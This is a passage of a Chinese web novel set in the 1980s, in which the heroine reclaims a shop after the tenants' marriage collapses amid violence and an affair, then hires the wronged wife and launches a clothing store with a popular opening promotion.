打头第一间是照相馆,占了两间铺面,宽大明亮的玻璃窗,一半朝着外面的大马路,一半朝着工人路,看着挺气派的。 她们路过照相馆的门口,就被一位胖胖的中年妇女叫住了:“哦哟,刘阿姨,今天怎么有空过来?” 平常收租都是刘婶过来的,这边的商户和刘婶挺熟的。这位中年妇女姓骆,是照相馆的老板娘,她给柳绵绵和刘婶塞了几个桃子,朝隔壁努努嘴,低声说:“正吵架呢。” 果然,隔壁店铺里传出一阵激烈的争吵声。 “……刘乐平,你不要没事找事,店里生意不好,你不管,我还不得想想办法?人家宴宾楼每天那么多桌,要是都能从咱们这里拿货,你自己想想,那是多少钱?” “我呸!想办法你就跟人勾勾搭搭?我看你再想,就该想到别人被窝里去了!罗春玉我告诉你,你要敢给我戴绿帽子,老子杀了你!” “刘乐平你个王八蛋,你双腿一翘在家当大爷,我每天苦哈哈在外面想办法,你还污蔑我,我跟你拼了——” “罗春玉,你别乱来,妈的,老子还没揍你呢,你这是找死!” 好嘛,几句话的工夫,隔壁已经乒呤乓啷上全武行了。 “哎哟,怎么打起来了,咱们过去看看吧!” 柳绵绵和刘婶对视一眼,赶紧跟着骆大姐往隔壁跑。 隔壁还真是动上手了,里面那排的货架都被推翻了,一个瘦长身材的男人正把个女人压在地上打,女人也不甘示弱,手挠脚踢嘴咬的,反抗得非常凶悍。 骆大姐跑进去,也没上前,站那儿喊:“哦哟,乐平,春玉,有话好好说,别打了!哎呀,你们家倩倩呢,一会儿孩子来了给孩子吓到了!” 听到孩子,罗春玉先住了手,刘乐平呸了一声,也站了起来:“臭娘们儿,成天丢人现眼,老子的脸都被你丢光了。”显然是被邻居看了热闹不太高兴。 扭头看到刘婶,刘乐平嗓门一下子就大了起来:“婶子,不租了,我们这铺子不租了!妈的,再做下去,老子这绿帽子都要戴起来了!” 刘婶一向脾气好,这时候也不禁有些生气,说:“刘乐平你不要乱说话,你不租就不租,你家有什么事和我们这铺子没一点关系的。”说得倒像是租了这间铺子害了他一样,什么人哦,自己生意做不起来,怨这个怨那个的,就是不怨自己。 骆大姐在中间打圆场:“乐平啊,做事情要深思熟虑的哦,你这铺子也开了几年了,哪能说不做就不做?不做这个,你们一家三口靠什么吃饭,再说你这店里这么多货呢,总不能都扔了吧?” 她也看不上刘乐平,纯粹就是可怜罗春玉娘儿俩。 “靠什么吃饭,靠讨饭!”刘乐平恨恨道,“老子脑袋都是绿的,还管什么吃不吃饭!” 罗春玉突然尖叫起来,抓起货架上的东西就往刘乐平身上砸:“行,不租就不租,我去卖力气要饭,我也不伺候你个王八蛋。离婚,刘乐平,咱们离婚!” 刘乐平啐了口痰:“离就离!下午三点,民政局门口见!”说完一甩手就走了出去。 罗春玉崩溃地哭了出来:“我为了这个店,我求爷爷告奶奶,我就差给人跪下了,好不容易,好不容易,鲍主任答应了跟我们拿货了啊,他竟然这么怀疑我,哇——” 柳绵绵也是没想到,今天就想过来看看铺面位置大小的,竟然会赶上这种事情。虽然他们夫妻俩都说不租了,但这种情况下,她们反倒是不好细问了。 刘婶和罗春玉也挺熟,过去安慰了几句:“夫妻吵架都是常有的,刘乐平大概是听了什么闲话,一时转不过弯来。你的人品大家都知道,你也别往心里去,等他回来了,你们好好商量。” 骆大姐面露犹豫,挣扎了几秒,说:“春玉啊,咱们隔壁邻居也好几年了,一直处得挺不错,有些话我说出来怕是里外不是人,不过,咱们都是女人,你家倩倩也还小,你们娘儿俩是真不容易……” 铺垫了这么长,搞得柳绵绵都不禁好奇看向她,感觉这里面还有什么隐情啊? 骆大姐一咬牙:“你看你说离婚,刘乐平答应得那么干脆,其实会不会是因为,他本来就想离婚?” 罗春玉哭泣的声音一滞,抬头茫然向骆大姐看过来,不敢相信的样子:“骆大姐,你说什么?” 骆大姐叹了口气,说:“说实话,我这人是不喜欢多管闲事的,尤其是你们夫妻间的事情,外人插手容易闹得两面不是人,回头刘乐平没准还要找我算账。这话我也就在这屋里说,出了这个门,我是不会承认的。” 又铺垫了一通,骆大姐才说:“前阵子你不是带倩倩去了趟老家吗,有个女人天天带着个三四岁的男孩来店里,刘乐平给他们买吃买喝的,我还听见那男孩喊刘乐平……” 顿了下,骆大姐说:“喊刘乐平爸爸。” 第53章 见多不怪(二更) 骆大姐的话实在太出人意料,罗春玉一下子愣住了,就连柳绵绵和刘婶都跟着沉默了好一会儿。 实在是,刘乐平之前的表现,对妻子疑似给他戴绿帽子这件事,那叫一个义愤填膺,而且骂起人来更是理直气壮,妥妥的就是一个因为愤怒而失去理智的丈夫形象。 不过柳绵绵仔细一琢磨,就有点回过味来了。 刘乐平一直说妻子给他戴绿帽子,可他并没有任何实质的证据。而一般来说,男人为了自己的面子着想,哪怕真有这种事情,也不会把事情闹大,更大可能会选择私下解决。哪像刘乐平,没凭没据的就在开着门的店里冲妻子破口大骂,倒像是巴不得被人听见似的。 上辈子柳绵绵在网络上可是吃过无数奇奇怪怪的瓜的,什么勤劳俭朴、品格高尚的企业家,死后被曝光婚内出轨,生了一串葫芦娃私生子啦,什么把妻子送进精神病院,一边和小三双宿双飞,一边给自己塑造不离不弃形象啦,什么为了和小三在一起把自己的孩子扔下楼摔死啦……反正只有你想不到,没有这些人做不到的。 所以,刘乐平自己出轨,故意污蔑罗春玉给他戴绿帽,逼罗春玉离婚,再把离婚的责任和坏名声都推给罗春玉……其实也不是不可能的。 真的,见多不怪。 当然,柳绵绵觉得,如果她是罗春玉,也不会因为邻居的话就怀疑自己的丈夫,别人故意挑拨也不是没可能的。 罗春玉显然也不太相信,她愣愣地说:“骆大姐,会不会是你听错了?” 骆大姐叹了口气:“你们夫妻十来年,肯定有感情,我知道我这么说你也不一定相信,所以我一开始就说了,我说这话,真的容易两面不讨好的。你去老家也有十多天吧,咱们这条街上人来人往的,其实看见的也不止我一个,你要不悄悄找人打听打听。 她说:“我既然跟你说了,我也不怕得罪刘乐平,我干脆就把我知道的都告诉你。也是巧了,我家老蔡不是有时候出门帮人拍个外景什么的吗,他前阵子就在南浦小学附近看见那个女人了,她好像就住南浦小学西边的巷子里,我家老蔡听人喊她江老师了,就顺便打听了一下,她是南浦小学的代课老师。” 骆大姐同情地看着罗春玉:“妹子,大姐跟你说句心里话,甭管这事是不是真的,为了倩倩着想,你也得拎得清,可别到时候人财两空。” “南浦小学?”罗春玉喃喃,“那不就是倩倩的学校?江老师,倩倩班里教自然的老师就姓江。” 罗春玉的情绪非常不好,刘婶和骆大姐轮番安慰了一通,俩人都一再提醒她,别的不说,家里的钱还有店里的货,自己多留个心眼。 然后三人就从南北干货店出来了。 刘婶拍拍骆大姐:“秀艳,你是好人哦,换了别人,不会掺和这种事情,知道也不会吭声的,你们夫妻俩都是厚道人。” 骆大姐又叹了口气:“我是看着她们娘儿俩可怜,要真是刘乐平有什么歪心思,到时候她们娘儿俩没准真要去讨饭。” 别过骆大姐,柳绵绵和刘婶一起走去公交站点,刘婶也是直叹气:“骆秀艳是个实诚人,不会做挑拨离间的事情,她说的这个事情怕是真的,这刘乐平真不是个东西。你别看他今天那副死样子,其实平常他挺能说会道的,当初就因为他死活说跟我是本家,有缘认识就跟多一个亲戚一样,说了一箩筐的好话,我受不住忽悠,愣是给他租金少了五块钱。” 刘婶恨恨地:“早知道,应该给他加五块钱的!” 沈伯康和俞婉都不管这些事情,这些事一直都是刘婶在管的,租金收多少,怎么收,也都是刘婶自己估摸着来的。 柳绵绵毕竟今天才刚认识罗春玉他们,自然没有刘婶感受这么深刻,不过也是很唏嘘。 当然,如果骆大姐说的是真的,那罗春玉他们家的店多半是真的开不下去了。 回去后一连好几天蒋红梅也没来求知巷,柳绵绵想着等等工人路的消息,于是也没去找她。 几天后的傍晚,骆大姐打来电话,让刘婶赶紧去工人路看看,说是刘乐平在砸店,店门都被砸坏了一扇。 正好家里人都在,王叔赶忙去酒厂借了摩托三卡,一车把刘婶、柳绵绵和沈维舟都载了过去。 沈维云也想跟着去看热闹,俞婉听刘婶提过罗春玉夫妻俩的事,不想让沈维云看这种腌臜事,就没让她一起。 夏天傍晚坐没有顶棚的摩托三卡,其实还挺舒服的,约等于坐上这个时代的敞篷车了,风呼呼的。 柳绵绵就是有点不放心沈维舟:“你确定这么吹风没关系?” 沈维舟无奈道:“没关系,我喝了那么久的中药,这不是都好了嘛,上回白老爷子都说了,一切正常。” 柳绵绵看他一眼,嘀咕:“说是说一直在喝中药,我也没亲眼见你喝过呀。” 沈维舟笑着看她一眼,若无其事抓着她的手捏了捏,随口说:“是你不关心我吧。” 柳绵绵:“……” 呵,男人。 倒打一耙这项技能使得挺熟练的啊! 她转了话题:“你这好奇心也太重了,千里迢迢的赶去看个热闹。” 沈维舟无语,凑到她耳边,低声:“我是为了去看热闹吗?” 那对夫妻应该闹得很厉害了,他是怕她过去,不小心被殃及池鱼。 虽然王叔跟着一起过去了,但真要有什么事儿,王叔怕是只来得及顾着刘婶。 “没良心的。” 柳绵绵笑了起来。 工人路这边的店铺,夜里也是营业的。白天太阳烈气温高,不太适宜逛街,傍晚人反倒比白天多。 柳绵绵他们到的时候,南北干货店门口已经围满了人,四扇木头门,两扇还好好的,一扇歪歪扭扭的,还有一扇已经在地上躺尸了。 “哦呦,这也太不成样子了。”刘婶很生气。 柳绵绵站在门口往里看,那天基本都放满了的货柜货架,现在一片空荡荡的。有几个货架被推翻在地,地上还有一些断掉的木头,应该是砸断了的凳腿,还有一些碎玻璃碎布头什么,也不知道是砸了什么东西留下的残骸。 一个挺魁梧的男人压着刘乐平坐在靠墙边的凳子上,罗春玉护着个十来岁的女孩儿,站在另一侧的墙边,那个女孩儿一直在哭,不过并没有号啕大哭,而是很小声地啜泣,肩膀一耸一耸的。 “罗春玉,你行,你可真行!”刘乐平眼睛猩红,狠狠瞪着罗春玉,表情分外狰狞,“你是一点东西都不给我留是吧?” 罗春玉没吭声,只是更加抱紧了女儿。 骆大姐不知道从哪里冒出来的,凑到柳绵绵他们旁边,悄声说:“罗春玉也是厉害,她弄清楚刘乐平和那个叫江英的代课老师的事情以后,就把家里能卖的东西全卖掉了,连店里的货都清掉了。趁着刘乐平出门,一车让人全部拉走了。也不知道她把钱藏哪儿了,刘乐平一回来,发现货也没了,钱也找不到,甚至家里存款的存折也不见了,他就疯了。” “要不是我家老蔡摁着他,他还要打罗春玉和倩倩呢!” 柳绵绵心说原来摁着刘乐平的魁梧男人就是你家老蔡,她问:“报派出所了吗?” 骆大姐诧异:“这种夫妻打架的事情,派出所也管吗?再说也没打起来,就砸了点东西,回头让他赔你们不就得了。” 这时候大家法治意识不是那么强,都认为夫妻、家里人之间有什么矛盾,哪怕打架打伤了,那也是家务事,用不着找公安。 其实后世不少人也是这种想法。 柳绵绵:“他这是故意毁坏他人财物,可不是赔点钱就算的事情。而且,你看他这么激动,万一做出什么过激的事情怎么办?” 听她这么说,骆大姐觉得也有道理,她家老蔡总不能一直摁着刘乐平吧,那万一放开了,他真做出什么事情来,他们可不一定能及时阻止。 “我去打电话,我店里有电话。”骆大姐转身小跑回店里。 王叔和刘婶进了店里,老蔡放开刘乐平:“乐平,刘婶子一向待你不错,你看你给人店里砸成这样,说不过去吧?” 刘乐平梗着脖子:“我没钱了,钱都在罗春玉个臭娘们儿那里,你们让她拿出来赔吧。” 刘婶皱眉:“你们这样,应该是不要租这个铺子了吧,当初租给你们的时候,你们交过押金的,那些押金不还你们了,哦哟,修门还不一定够呢。” 刘乐平没吭声。 双方僵持了一会儿,然后刘乐平忽然又变了一副面孔,好声好气地开始哄着罗春玉:“夫妻一场,你这么做也太绝情了。离婚什么的,那不都是气话吗,你就因为一句气话跟我闹成这样?你看倩倩都被吓到了。” 罗春玉嘲讽地笑了下,开口前先捂住了女儿的耳朵:“你宁愿拿钱去养别人的儿子,你还说我绝情?你连便宜爹都乐意做,你还好意思冤枉我给你戴绿帽子?刘乐平,你真贱!” 多讽刺啊,她原本还以为江英那个孩子是刘乐平的,可其实不是,那孩子是江英的赌鬼前夫的。 刘乐平突然激动起来:“原来你知道了,呵,怪不得啊!罗春玉你懂个屁,你家里三姐妹,个个都生女儿,当初娶你的时候,我妈就不乐意,说你家的女人没有生儿子的命,结果呢?还真是!我一个大男人,我没有儿子我挣钱做什么,等着别人来吃绝户吗?” 他大声吼:“我要儿子,儿子你知道吗!江英她能给我生儿子!” “你把钱还给我,那是我儿子的!” 刘乐平突然扑向罗春玉,不过没等他扑上去,斜刺里伸出一条腿,轻描淡写地一踹,把他踹趴了。 第54章 新店开张(修) 沈维舟收回脚,拽着柳绵绵往后退了几步。 刚才要不是他出脚快,柳绵绵就要上去拉刘乐平了,沈维舟也是无奈,她平时嘴上不饶人,其实骨子里是有点侠义心肠的,路见不平总要上去凑一脚。 也不先顾着自己的安全。 柳绵绵不知道沈维舟的想法,她刚刚是准备捡起旁边的破凳子干扰一下刘乐平的,不过沈维舟动作更快,直接把人给踹趴了。 说回来柳绵绵其实早发现了,沈维舟看着文文弱弱的,身材也偏瘦,但好像武力值并不低。 那回江北村大集,偷布料的小混混不是指控沈维舟踹他了嘛,柳绵绵当时没多想,也觉得是小混混信口开河,但后来仔细一琢磨,感觉小混混那样子还真不太像是装的。 然后就是俩人关系“不一样”了以后,柳绵绵就更加深有感触了。沈维舟力气真的不小,反正每回她试图“反抗”的时候,或者是实在扛不住想要“休战”的时候,总能被他“治”得死死的,毫无反抗之力。 加上刚才亲眼看见的,他那一脚真是快狠准,刘乐平一下子就趴倒了。 江北村那个小混混,估计也是这么被踹倒的,他说了,自己出的拳头,但没打到,就被沈维舟踹了一脚。 实锤了。 柳绵绵深深看了沈维舟一眼。 沈维舟扭头看她,疑惑:“嗯?” 柳绵绵摇头:“没事。”谁还没点自己的小秘密了,她自己也有的,所以对沈维舟的一些“异常”,她也是睁只眼闭只眼,并不打算去探究。 刘乐平也不是傻子,虽然被沈维舟踹了一脚,但他爬起来之后,只是阴郁地看了沈维舟和柳绵绵一眼,并没有冲过来,而且也没再冲着罗春玉去。 他找了个仍旧完好的凳子坐下,说:“罗春玉,家里的钱我也有份,店也是,你不能全拿走的。你敢这么做,我家里就绝对不会放过你爸妈和你弟弟。” 罗春玉脸色苍白,咬着下唇没有说话。 这时候骆大姐领着两个公安进来了,公安看了眼店里的情况,问:“这铺子是谁的?” 骆大姐看向刘婶,刘婶指指柳绵绵和沈维舟:“他俩的。” 公安:“谁砸的?” 大家都看向刘乐平。 公安于是点头:“一起去派出所吧。” 自从穿越以后,柳绵绵感觉自己就跟派出所结下了不解之缘,这都第几回上派出所做笔录了。 不过,有事情找警察,他们普遍老百姓就该有这样的觉悟。 刘乐平是没想到有人会喊来公安,他满以为砸了东西,顶多就是赔点钱。 却不知道故意毁坏他人财物是要被判刑的,当然,情节轻微的话,可能是治安处罚,拘留几天,赔偿,然后罚点钱。 被公安普法以后,他倒是一下子老实不少,很快表示愿意多赔偿一点,请求对方谅解。大概是真的怕被关起来,他非常利索地就把钱给掏了。 至于他们夫妻的事情,公安也作了调解。 他俩倒是各执一词,刘乐平控诉罗春玉私吞了存款和货款,罗春玉则拿出了账本,指控刘乐平连续四年都在私吞店里的钱。 公安一看,好嘛,你们夫妻俩倒是半斤八两,都不是什么省油的灯。 最后一核算,刘乐平这几年藏的钱也不少,两边差不多扯平,于是干脆让他们就这么着,正好,隔壁街道办的同志还在,公安干脆就让人给他们加急办理了离婚登记。 这时候没有离婚冷静期,不需要回家冷静,再说,就他们夫妻俩这样子,怕是也冷静不了,回头再打起来。 既然双方都有非常强烈的离婚意愿,公安和街道办的同志倒是都觉得,赶紧让人离了也好,各自好好生活,总好过强行生活在一起,每天上演全武行。 柳绵绵他们拿了钱,就和罗春玉夫妻俩一起回了店里,清点了罗春玉他们的东西,让他们自己拿走,然后把钥匙也收回来了。 王叔不知道从哪儿弄了一套工具,还买了一把新锁,趁着时间还不太晚,先把门修上了。 刘乐平倒是没敢再出什么幺蛾子,公安说了,这回他是初犯,也主动赔偿了屋主的损失,网开一面不拘留他,要是再犯,那是妥妥要被拘留的。 别看刘乐平对着罗春玉很凶,其实在外面是很怂的,平生第一次被逮进派出所,他胆都快吓破了,自然不敢再作妖,随便收拾了点东西就跑了。 罗春玉也很快收拾好东西。她是有准备的,卖完店里的东西,自然是要搬走的,所以一早就大致收拾好了。 她牵着女儿的手,给屋里的大家鞠了个躬:“谢谢,要不是你们,我们娘儿俩……”后面的话,她哽咽着,没说下去。 刘乐平走的时候,看都没看一眼倩倩,看着他这样的态度,罗春玉也是一阵后怕。要不是骆大姐告诉她,要不是大家帮她,她无法想象,她们娘儿俩会面对什么样的局面。 现在至少顺利离婚了,她手里也捏了一些钱。 “你们娘儿俩好好过日子是最要紧的。”骆大姐摆摆手,“领袖都说了,妇女能顶半边天,咱们这半边,可不比他们那半边差。以后有什么要帮忙的,你也可以来找我,帮得上帮不上的,至少也能给你出出主意。” 刘婶问:“有落脚的地方吗,以后准备做什么?” 罗春玉擦了把眼泪,笑了下:“有落脚的地方,我在隔了两条街的三庆巷租了个单间。以后……” 她迟疑了下,说:“鲍主任看我们娘儿俩可怜,让我以后去鲍宾楼做砧板,切切菜什么的,工资虽然不高,我们娘儿俩省着点用,应该也够了。” 倩倩依偎在母亲身边,小声说:“妈妈,我帮你干活。” 罗春玉含泪摸了摸孩子的头发:“好的。” 她想了想,又诚恳地说:“我和鲍主任真的没什么的,我们清清白白的,他是个好人,他是同情我们,才帮我们一把的。” “你放心,我们信你。”刘婶叹了口气,安慰道,“没事,以后都会好起来的。” 柳绵绵忽然说:“这个铺子我们准备收拾一下卖服装,如果你愿意的话,也可以过来帮我们卖服装,基本工资三十元,提成百分之三,楼上的房间,半间要当仓库,半间可以免费给你们住。” 蒋红梅和刘安民以后肯定是经常要往来南城和广市的,他们这个店肯定要请人看店。罗春玉脑子灵活,又有多年开店的经验,与其另外找人,倒不如直接请她。 当然,也是因为罗春玉做事果断利落,柳绵绵觉得挺合脾气。 罗春玉愣了一下,她知道柳绵绵是房东家新娶的儿媳,也知道他们收铺面回去是准备自己开店,但是她们其实都算不上认识,罗春玉实在没想到,柳绵绵会帮她。 宴宾楼砧板的活儿,每个月工资是二十五,没有其他任何的补贴。柳绵绵直接开的底薪就是三十,还有百分之三的提成,罗春玉自己开过店的,知道百分之三的提成其实不低了,如果店里生意好,工资加提成,一个月至少也能五六十。何况还有免费的住房。 这年月工作有多难找她是知道的,罗春玉可不觉得柳绵绵是招不到人才问她,人家明显是想帮她。 眼泪一下子就掉了下来,罗春玉哽咽道:“谢谢,谢谢柳同志!” 柳绵绵摇了摇头:“咱们是正常的招工与雇工的关系,你不用谢我,也不用马上答复。我这个店还得收拾几天,稍微装修一下,你好好考虑,三天内给我答复就行了。不用有什么负担,不想来也没关系,说一声就行。想来的话,宴宾楼那边也处理好。” 这几天这么混乱的情况下,罗春玉居然还能留意到她姓柳,柳绵绵心说,这还真是个适合搞销售的。 “谢谢,谢谢!”罗春玉拽着孩子又给柳绵绵鞠了个躬,“我明天就去问问鲍主任,他帮我向酒楼说了情,我确实不好给他惹麻烦,行不行的,我问完了就过来答复。” 柳绵绵不但给她提供工作,还帮她考虑得这么周全,罗春玉是真的很感激。谢谢的话说多了,她也不知道还能说什么,只能把这份感激埋在心里。 罗春玉娘儿俩走后,王叔又修了一会儿,门才终于修好了。几人把门锁好,坐着摩托三卡回求知巷。 回到求知巷时已经十点多了,俞婉一直没睡等着他们,总算等到人,听他们说了来龙去脉,也是感叹:“这位女同志倒是很果决。” 她看向柳绵绵,温柔道:“我们绵绵也很善良。” 柳绵绵表示,她真的只是觉得罗春玉有这方面的工作经验,很适合留下来帮他们看店。 但是其他人明显不信,觉得她就是找了个借口故意帮罗春玉,任凭柳绵绵怎么解释都不行,把善良、心肠好的标签往她脑门儿上摁得死死的。 算了,善良就善良吧,又不是说她恶毒,有什么不能承认的。 柳绵绵干脆妥协,表示困了,还是赶紧洗洗睡吧。 沈维舟好笑地看她一眼,拽着她的手:“行,咱们回去休息吧。” 俞婉看着两人并肩进了东厢房,和刘婶交换了个眼神,都忍不住笑了。 这小两口,也不知道从什么时候开始的,变得蜜里调油的。 不过,这种变化正是他们喜闻乐见的,俞婉嘴上虽然没说,背地里却早和沈伯康讨论过,不知道什么时候他们能当上爷爷奶奶。 之后几天柳绵绵让王叔帮忙介绍了人,给店面简单装修了下。 当然,柳绵绵所谓的简单装修,是和她上辈子比,在这个时代的其他人眼中,她这装修可一点都不简单。 她把厚重的老式木门换掉了,砌了堵矮墙,和隔壁照相馆一样,用一面巨大的玻璃做了个橱窗,将来可以用于展示他们这个店里最新潮最好看的衣服。 这时候什么射灯筒灯的也没有,柳绵绵就弄了些人家舞台上才用的灯,把整个屋子的灯光弄得又亮又好看。 挂衣服的架子是用之前被刘乐平砸坏了的货架改的,外头深色油漆的部分被削掉,露出原木的颜色,再在上面刷一层清漆,看上去简洁又大气,挺好看的。 装修的第一天罗春玉就到店里回话了。 那位鲍主任也不是什么不通人情的人,听说她找到了工资更高的工作,挺替她高兴的,让她不用有什么顾虑。 三庆巷那个房东也挺好的,说是就住了几天,没收她的钱,就收了几个鸡蛋。于是罗春玉带着闺女就又大包小卷地回到了店里。一楼装修,倒是不影响二楼住人。 装修这几天,蒋红梅和刘安民也过来帮忙了,他们是真没想到,柳绵绵动作这么快,这一转眼,他们就鸟枪换炮,不用赶大集摆地摊了,直接在工人路这样的繁华地带开上店了。 不过也是,他们拿的可都是广市最新潮的服装,当然要放在最好的店里,卖最贵的价格……倒也不是。但反正就是这么个意思,他们这可都是高档货。 装修第一天,柳绵绵就让人做了张巨大的广告牌,放在店门口: 靓靓服装店开业期间三重好礼送不停。 第一重:限时三天,消费满三十元,即送价值三十八元高档的确良衬衫一件,总共一百件,送完即止。 第二重:开业三天内,消费满一百元,即送限量打折卡一张。 第三重:开业前三天,每天抽取三名幸运免单客户。 敬请期待! 这时候大家都没什么营销的概念,这个广告牌一出现,就引来了许多人的围观,大家对这开业三重礼津津乐道,纷纷觉得这家老板是真不差钱啊,开个业而已,这七送八送的送了这么多。 抽中免单可能需要点运气,想要打折卡可能也需要点财力,但是第一条满三十送三十八的的确良衬衫,却是大家咬咬牙都能够着的。 想想看,买了三十块钱的东西,还能免费得到一件高档衬衫,这跟白捡有什么区别? 这年头谁不需要衬衫?平时不舍得买的确良衬衫的,这时候感觉买东西送一件也挺好的,凉爽挺括,夏天穿那真是有面儿。 还有些正好要买衬衫的,就觉得反正都是要买的,去哪儿买不是买,这羊毛真是不薅白不薅。 于是,这边还在装修呢,那边大家就已经迫不及待地催上了:敬请期待,咱们已经期待很久了,到底什么时候能弄完开业? 三十块钱都已经攒够了,就等着抢衬衫呢! 甚至连南城晚报的记者都听说了,工人路有家店,还没开业,市民就已经翘首以盼。于是特地跑过来拍了张广告牌的照片,又拍了张人们好奇张望的照片,第二天照片就在报纸上刊登了:工人路服装店买三十送的确良衬衣,引市民好奇围观。 南城晚报向来以生动活泼、贴近生活,深受南城市民的喜爱,订阅量常年稳居南城各大报纸之首。 这则图片新闻虽然才占了三版的一个小角落,但因为记者把围观群众抻着脖子看广告牌的样子拍得很有喜感,倒是引起了不少人的注意。 再仔细一看,买三十送的确良衬衣,哎妈呀,还有这种好事? 等等,还不止,还有送打折卡,还有抽奖免单。 哦哟,这这这,听起来很划算呐,这热闹确实得去瞧瞧。 于是就有热心市民打电话到报社,询问服装店开业的具体时间。不是开业三天内嘛,不打听清楚,万一错过了呢? 当然,更多的人是直接跑到工人路去询问。 于是还在装修的靓靓服装店门口围观的人更多了。 南城晚报那边也是没想到,这则新闻会引起这么大的关注,那位拍照的记者于是又跑了一趟工人路,逮住正在店里帮忙的蒋红梅做了个采访。 翌日南城晚报就又刊登了个文字消息“年轻个体户搏浪商海,誓为南城市民添靓衣”,下面一行小字工人路靓靓服装店八月八号开业。 虽然南城晚报并没有帮着打广告的意思,但这篇稿子又的的确确为靓靓服装店打了一波免费的广告,于是更多的人知道了:工人路有家服装店,开业期间买三十元就送的确良衬衫,他们的衣服还都是广市那边过来的,质量好,款式新,走过路过,千万不能错过。 而随着装修逐渐完工,跑去工人路看热闹的人们更是发现,这服装店装修得真好看啊! 迫不及待想要进去逛逛呢…… 八月八日,靓靓服装店终于在广大市民的期待中,开业了! 第55章 开业啦!(修) 八号这天,大清早的,柳绵绵他们就出发了。除了高考完在家闲着没事的沈维云,主动请缨要去帮忙的刘婶,还有主动请缨加一的王叔。 本来是清一色娘子军的,但是王叔担心开业的时候有什么突发事情,柳绵绵他们处理不过来,于是请了一天假,一起过去帮忙。 毕竟,南城晚报都报道了两次了,这几天就连求知巷的邻居都在讨论工人路服装店开业的事情,可想而知,今天会有多少人。这人一多,难免就会有小偷小摸的、趁机找茬的,所以肯定是需要人维持秩序的。 王叔早年当过兵,转业以后又一直在保卫科工作,干这个事再合适不过了。 沈维云一路都很兴奋,高兴地叽叽喳喳:“嫂子你真厉害,开个服装店,连南城晚报都来采访,我昨天和同学碰面,她们也都在说这个事情。咱们靓靓服装店的名气可算是打出去了。” 他们坐的公交车,大清早的,还没到上班高峰期,车上倒是还挺空的。 旁边有个大嫂听见他们说话,顿时瞪了眼睛:“哦哟,报纸上那个服装店是你们开的啊,这也太厉害了。” 也不知道是说什么太厉害。 刘婶马上与有荣焉地夸起来:“那是哦,咱们的衣服都是到广市精挑细选过来的,料子和款式都是很好很好的,不少款式都是港城最时新的款,穿着绝对漂亮,有面儿。” 大嫂马上问:“买满三十元送的确良衬衫是真的吗?” 刘婶一挥手:“南城晚报都登了的,还能是假的?绝对是真的,所以说这几天买,那真是划算得不得了。的确良衬衫多好的东西呀,免费送一件呢,哪里也没有这种好事情的。” 自从帮着卖萝卜条,刘婶这口才也是练出来了。 大嫂高兴道:“那真是不错,我妹妹大学毕业已经分配了工作,我正想买点什么东西送她呢,这么说买套洋气的服装就不错。”还能免费得一件的确良衬衫,这可太划算了。 旁边几位乘客听她们说得热闹,忍不住也插话进来:“那的确良衬衫,是男的还是女的?” “你们服装店是只卖女装还是也有男装?” “鞋子有没有的,买双皮鞋送件衬衫,感觉挺划算的。” 刘婶被问住了,看向柳绵绵,柳绵绵笑道:“男女款都有,先到先得,先到先选。男装也有,不过不多,就几款基础衬衫和裤子。鞋子暂时还没有,如果需要的顾客多,下回可以帮着进一些。” 乘客们于是自己讨论开了:“既然是送的,那肯定男款好,布料都比女款多一截呢。” “先去还能先挑,哎哟,我一会儿可得早点过去。” “哎呀,真是错过了,我今天还得去乡下老家呢,明天才能回来了。” “嗐,一看你就没有看报纸,开业活动有三天呢,你明后天早点就不成了。” …… 车上的乘客,倒是有大半都兴致勃勃的,年纪大些的哪怕自己舍不得买成衣,也琢磨着可以给家里的小辈买一两件。女儿买条连衣裙,儿子送件的确良衬衫,这不就两个人都有新衣服了? 公交车到达工人路站的时候,要不是柳绵绵他们说服装店要九点才正式开业,好几个人都想直接下车去他们店里了。 蒋红梅和刘安民也已经到店里了,俩人都是一脸兴奋。 就连倩倩都已经起床了,高高兴兴地在帮着整理衣服。 大家最后又整理了一遍东西,又核对了一遍流程。王叔去附近的国营饭店买了些包子豆浆的,甭管吃没吃早饭,大家都又吃了一点。因为柳绵绵提醒他们,中午多半是不能按时吃饭的,而且今天工作量肯定也非常大,所以吃饱一点,也能确保体力。 八点半左右,就已经有人陆陆续续地过来了,看到店里还在做最后的准备工作,干脆就到两隔壁的店里转转。 快九点的时候,挂在店门两边的鞭炮被点燃,噼里啪啦的响声中,第一批客人涌入店里。 “哇,这店装得也太好看了吧!”第一个冲进店里的是南城大学在读生万沛玲。 她是南城本地人,家里经济条件不错,平时就挺喜欢买衣服的,看到南城晚报的报道后,对这家靓靓服装店非常好奇,于是就约了同学一起过来。 她们都还是在校生,排队抢座这方面经验是非常丰富的,所以在其他人还没反应过来的时候,就一马当先跑进了店里。 然后,两个小姑娘就被店里的装潢给惊艳到了。 要知道这时候大部分人家都是没什么装修的,刷个大白墙,买几件家具就算是装修了,至于条件好一点的人家,其实也就是刷个墙裙,家具买得多一点的事情,并且家具的颜色都是红棕色的,比较沉闷。 但靓靓服装店完全不同,不管是柜台还是衣服架子,都是清新的原木色,配上大白墙,还有看上去明亮温暖的灯光,就显得非常的干净漂亮。 而且,所有的衣服都是悬挂在中间和两旁的木头架子上的,不像百货大楼,衣服都挂在柜台后面,只能看不能摸。 最最关键的是,衣服都非常好看,非常洋气。 万沛玲就跟老鼠掉进了米缸似的,看到这件也喜欢,看到那套也中意,尤其是玻璃橱窗前搭配好的两套衣服,一套是鹅黄的套裙,一套是红色波点上衣配蓝色喇叭牛仔裤,一套淑女一套飒爽,她真是哪套都放不下。 现在有优惠,多买一点也划算,顶多后面就不买了。 万沛玲咬咬牙,一下子买了四套,足足花了两百多。按照规则,满三十就能送一件衬衫,但同一个人,一百块钱以内只能送一次,每超出一百可以再送一次,于是万沛玲付完钱后,又挑了三件衬衫。 老爸老妈各一件,哥哥再一件,正好。 和万沛玲一起的女同学,倒是没有她这么大手笔,而是花五十几买了一套衣服,送了一件衬衫。 因为俩人一起付的钱,柳绵绵干脆送了她们每人一张打折卡。所谓的打折卡,就是一张印着靓靓服装店字样、盖了个戳的小卡片。 两个小姑娘都觉得挺新奇的,拿着小卡片看了一会儿,这才高高兴兴地拎着袋子挤出了服装店。 别看店里装了两台大吊扇,可人实在太多了,真是挤出了一身汗。 像万沛玲她们这样的小姑娘不少,但其实年纪大的女同志也很多,甚至男同志也有。 店铺够大,所以男同志服装是特地辟了一排架子的,男同志买东西也快,迅速挑完,就拿到柜台来结账了。 由于买衣服的人实在太多,柳绵绵他们每个人都忙得不行,最后就连倩倩都被罗春玉薅到柜台这边帮着叠衣服装袋子了。 